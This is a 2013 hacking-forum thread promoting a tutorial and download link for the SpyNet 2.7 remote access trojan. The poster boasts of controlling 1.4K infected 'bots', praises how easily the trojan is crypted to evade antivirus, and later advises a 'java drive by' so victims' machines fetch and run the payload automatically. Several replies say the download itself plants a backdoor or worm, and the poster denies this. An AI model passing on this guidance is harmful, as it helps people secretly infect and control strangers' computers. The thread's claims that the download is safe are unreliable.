Thread: [? =\[TuT\]= ? HoW to SetuP and TesT SpyNet 2.7 ?=\[TuT\]=?](#)

Pendalum - February 14, 2013, 9:37 am

Hello HF,

Papi Pendalum here to show you how to set up SpyNet 2.7 RAT, This is my favorite of the free RAT series because....

1. Very Stable
2. Great Features
3. Epic Connection Sound
4. Very Nice tool!
5. EASY CRYPTED!
6. Holds hell a bots, most I have held was 1.4 K with little lag issues.

If you have not port forwarded or set up your no-ip go do that then come back to the tutorial if you have the required items. Please begin my tutorial, if you like it drop me a "Thank you" on the thread and refer it to other members!

Spynet Download: <http://sharesend.com/ntnyu1t6>

Note: This file WILL come up as a virus to antivirus as it builds a virus it self. It is safe, I have ran it in sandboxie and inside Virtual Box! Nothing has gone wrong.[/align]

Tutorial

iamnotburntm - February 14, 2013, 11:38 am

Huge vouch!

Thank you so much for showing me <3

I was lookin for rat help :p

finishinsidemeplease - February 14, 2013, 12:19 pm

Vouch, very helpful. He helped me a lot in my beginner days ?

Tutelary - February 14, 2013, 12:22 pm

Referral Links belong in the Referrals subforum of HF. Replace it with a direct link or ask a moderator to move your thread.

Rayquaza™ - February 14, 2013, 12:22 pm

Vouch, this is a good tutorial.

Good luck!

Pendalum - February 14, 2013, 12:23 pm

(Feb 14, 2013 01:22 PM)Lakai™ Wrote: [\[CITE\]](#) Referral Links belong in the Referrals subforum of HF. Replace it with a direct link or ask a moderator to move your thread.

I thought that counted for things like share cash? It not a survery or anything D:

Let me grab the direct.

Tutelary - February 14, 2013, 12:25 pm

(Feb 14, 2013 01:23 PM)Pendalum Wrote: [\[CITE\]](#) I thought that counted for things like share cash? It not a survery or anything D:

Let me grab the direct.

You are making money off of the link. Therefore, it is a Referral.

I posted a thread about such as well: <https://hackforums.net/showthread.php?tid=3152007>

Pendalum - February 14, 2013, 12:25 pm

Its changed dum dum ? thanks for telling me :]

Koolzmad - February 14, 2013, 12:28 pm

Yeah i use to use spy-net alot. I fugged it would be outdated. But with my current issues with darkcomet not connecting i might give this a go here in a little bit :) I don't really need the tut bc i know how to set it up, but it is very helpful for those who don't know and are new. Only 1 complaint, your worlds are spaced to far to the right. Not really a complaint, it just made reading a bit annoying bc i had to scroll down and side to side to read it all. Fix that and perfect tut :)

Pendalum - February 14, 2013, 2:45 pm

Well good luck to your ratting, people keep this thread alive please :D

yakaki25 - February 14, 2013, 2:56 pm

thanks for postin it can you help me on skype i added you please accept me

iHaX™ - February 14, 2013, 3:20 pm

Thanks for the tutorial. Looks pretty useful! :)

Pendalum - February 14, 2013, 5:47 pm

No problem bro I hope my tutorial helped u.

Vehicular - February 14, 2013, 7:30 pm

Great TUT, looks like a nice setup.

iamnotburntm - February 14, 2013, 8:55 pm

Great tutorial <3

Thanks a bunch man! :D

Lev (???) - February 14, 2013, 9:26 pm

Thanx for sharing it

But I have 1 qn- which crypter do you use...?

Trill? - February 14, 2013, 9:31 pm

Vouch!

Clean and noob friendly tut.

Lol.

Pendalum - February 15, 2013, 8:15 am

Thanks alot dude lets hope this helps tons of noobs.

tomdiego - February 15, 2013, 8:31 am

Thank you. Works and looks clean to me.

bmeghla - February 15, 2013, 10:20 am

This is backdoor.This fucker give us some shit.

Whiteh4t - February 15, 2013, 11:42 am

what do you mean.. yes it's dected?

Pendalum - February 15, 2013, 11:47 am

(Feb 15, 2013 11:20 AM)bmeghla Wrote: [\[CITE\]](#) This is backdoor.This fucker give us some shit.
It is not a backdoor, your antivirus thinks it is because it makes one.

I tested this in my VM and in sandboxie before I would put it here.

Your just new and I suppose you don't understand.

bmeghla - February 15, 2013, 12:30 pm

I am new in here I know.But I am not new in this world.Why are you trying to spread that bull shit.I reported your thread.

Pendalum - February 15, 2013, 1:56 pm

(Feb 15, 2013 01:30 PM)bmeghla Wrote: [\[CITE\]](#) I am new in here I know.But I am not new in this world.Why are you trying to spread that bull shit.I reported your thread.

Dude, its not infected.

It comes up as one due to it building one.

VaMpZz - February 15, 2013, 1:58 pm

I thought SpyNet wasn't allowed on hf.. or am I wrong?...

Pendalum - February 15, 2013, 1:59 pm

(Feb 15, 2013 02:58 PM)Broken Backdoor Wrote: [\[CITE\]](#) I thought SpyNet wasn't allowed on hf.. or am I wrong?...

There is another big tutorial on hF regarding Spynet 2.6, it would be trashed if not.

MARVID - February 15, 2013, 2:02 pm

(Feb 15, 2013 01:30 PM)bmeghla Wrote: [\[CITE\]](#) I am new in here I know.But I am not new in this world.Why are you trying to spread that bull shit.I reported your thread.

Keep reporting it. ? It is safe I ran it in safe I ran it in sandboxie for 2 hours nothing dropped. You obviously don't know that anything that is malware related shows up as malware. Including programs such as DDoSeR, Host Booter, IPKiller, etc. Even my crypter's builder shows up detected on some AV's.

DutchButch - February 15, 2013, 2:02 pm

Good tutorial man nice work.

I will check if spynet is backdoored or not and report back here.

H4CKDETRiizo - February 15, 2013, 2:06 pm

Good tutorial, i test thies RAT.

Thanks

Pendalum - February 15, 2013, 2:13 pm

This is safe, here is your proof.

Big image.

Spoiler ([Click to View](http://i.minus.com/ibaDbFeSSaf5kz.JPG))

iHaX™ - February 15, 2013, 3:51 pm

Looks good! Too bad I don't do this stuff anymore, but it looks good man!

bmeghla - February 15, 2013, 4:34 pm

OK.Give me answer.How did it go to my start up?How did it go to my task manager and AppData?Its backdoor.OK.You can download and run its your risk.I know how face the risk.OK.See ya.Have fun and fucked by that rat.

Pendalum - February 15, 2013, 4:39 pm

(Feb 15, 2013 05:34 PM)bmeghla Wrote: [\[CITE\]](#) OK.Give me answer.How did it go to my start up?How did it go to my task manager and AppData?Its backdoor.OK.You can download and run its your risk.I know how face the risk.OK.See ya.Have fun and fucked by that rat.

You probably are previously infected, show me pictures please.

Le Spy - February 15, 2013, 9:40 pm

Pendalum, you posted a screenshot of canyouseeme.org in your thread and forgot to blur out your IP address. You probably should edit it.

Sorry if someone has already informed you about that, I just skimmed over the thread and noticed so I thought I should tell you.

On topic, nice tutorial. Great contribution. :)

Pendalum - February 15, 2013, 9:43 pm

On topic, nice tutorial. Great contribution. :)I got DdoSed and had to change it, im not tripping bro.

Jack Bauer - February 15, 2013, 9:56 pm

I can't read this... pics are big, and the text is on the pics which is a pain in the ass :/

nice tut tho.

H4CKDETRiizo - February 16, 2013, 6:17 am

Good RAT, Good Tuts, Good Job.
Thanks !

Pendalum - February 16, 2013, 8:58 am

I am glad you all like the tutorial, keep leaving likes.

scaredy - February 16, 2013, 6:52 pm

dude nice backdoor... when i open spy-net it creates a folder win32 and add itself to the start-up.
Scanned it with malwarebytes and it turns to be a worm.
Stop infecting people!

(Sorry bad english -> i'am still learning english)

iHackster - February 16, 2013, 7:26 pm

Great post!
Goes into great detail!
Thanks for sharing!

Pendalum - February 16, 2013, 8:56 pm

I ran this in sandboxie you idiot, go look at the picture I posted.

Think before you accuse, I am not infecting anyone. I would proudly show you my RAT / Botnet.

Pudgey1er - February 16, 2013, 9:48 pm

uge vouch!
Thank you so much for showing me <3
I was lookin for rat help :p

scaredy - February 17, 2013, 6:03 am

Well dude why it runs a second spy-net then in sandboxie?
Spoiler [\(Click to View\)](#)
[proof](#)

Impress. - February 17, 2013, 6:04 am

thank you so much for this tutorial :D

Pendalum - February 17, 2013, 10:40 am

(Feb 17, 2013 07:03 AM)scaredy Wrote: [\[CITE\]](#) Well dude why it runs a second spy-net then in sandboxie?
Spoiler [\(Click to View\)](#)
[proof](#)

Ok that second process, is apart of spynet then. If it was a binded RAT or bot it would still show up running.

I ran this on my bare PC and check this out.

[img]http://i.minus.com/iHGZtz2hKBULj.JPG[/img]

No malware in my start up, I would love to give you my teamviewer if you want further proof. I have NO need to infect here nor do I even infect other hackers to me it against the code.

TheMorg - February 17, 2013, 1:56 pm

Very good tutorial, it helped me out tremendously.

bl4ckhat - February 17, 2013, 2:06 pm

Very nice tutorial im gonna check this out !

XmysteriousX - February 17, 2013, 2:06 pm

Thanks for the tutorial. Looks pretty useful! :)

Pendalum - February 17, 2013, 6:59 pm

No problem dude, enjoy the tutorial.

Almost Einstein - February 17, 2013, 7:51 pm

Amazing tutorial! Keep up good work! ;3
Stay awesome!

Pendalum - February 18, 2013, 12:21 pm

Thanks a lot for the compliments dude :3

Lone Code - February 19, 2013, 10:35 am

nice tutorial as ever thanks a bunch buddy, keep up the good work

Pendalum - February 21, 2013, 11:17 am

Thanks a lot for the love of the tutorial guys.

Lone Code - March 5, 2013, 7:57 am

thanks bro this is a very nice tut helped me alot :) keep making them

Stormdust - March 5, 2013, 11:24 am

Thank you for this tutorial, it's well explained

Pendalum - March 5, 2013, 11:55 am

No problem man, enjoy and hope it helped you!

Erstaf - March 5, 2013, 1:39 pm

Very helpful for me and certainly for a lot of other people

Thank you :)

bobbauer12 - March 5, 2013, 4:33 pm

thanks man u really tried i will like to know u for more tut man

subtector - March 6, 2013, 12:29 pm

How would I go about if I wanted the server file get downloaded and opened automatically when someone clicks on the download link or just goes to a website?
Is this even possible?

Sincerely
-subtector

Pendalum - March 7, 2013, 7:38 am

-subtector You use a java drive by for that :)

subtector - March 7, 2013, 11:48 am

(Mar 7, 2013 08:38 AM)Pendalum Wrote: [\[CITE\]](#) You use a java drive by for that :)

Hi, thanks! I think I've seen a tutorial on here somewhere about java drive.

<https://hackforums.net/showthread.php?tid=1043289&highlight=java+drive>. Would that automatically "install" the server.exe? ?

Sincerely
-subtector

Hoi123456789 - March 7, 2013, 12:20 pm

Thank you very much for this guide really helped me out !

Shopping Trolley - March 7, 2013, 2:55 pm

vouch for my boy Pendalum, legit HQ user!

Ederexes - May 11, 2013, 5:02 am

I feel stupid to not getting this to work..

NGINXFLEXER - May 18, 2013, 2:11 pm

Its not working for me !

Ports are forwarded.

All right configured.

But its not working.

I tested on my own the bot cant connect to SpyNet :/

I infected myself for this test.

nynno - May 19, 2013, 10:32 pm

(May 18, 2013 02:11 PM)Janomine Wrote: [\[CITE\]](#) Its not working for me !

I infected myself for this test.

GO to Options/Select listening Ports add ur port, Connection password(password from ur server) and press save, this is not on Tutorial...

Any way on first run is not dropping nothing,from secont run is dropping skynet.exe and after restart windows ur infected and u ar slave(tested on a fresh windows)

I like this RAT but i ned clean one,this im sure 100% in not clean,after testing it, im sorry for other who realy need it, but is not safe.

Dmoney2323 - *May 20, 2013, 7:06 am*

Thanks for your hard work. I need to keep learning.

Maruj - *May 23, 2013, 8:19 pm*

interesting, so what if you already know the IP of the user? could i get on the pc them? or will i still have to send them something to infect their pc?

D14MoNDH4XoR - *September 13, 2013, 10:27 pm*

Download Broken? I get a 404 error.
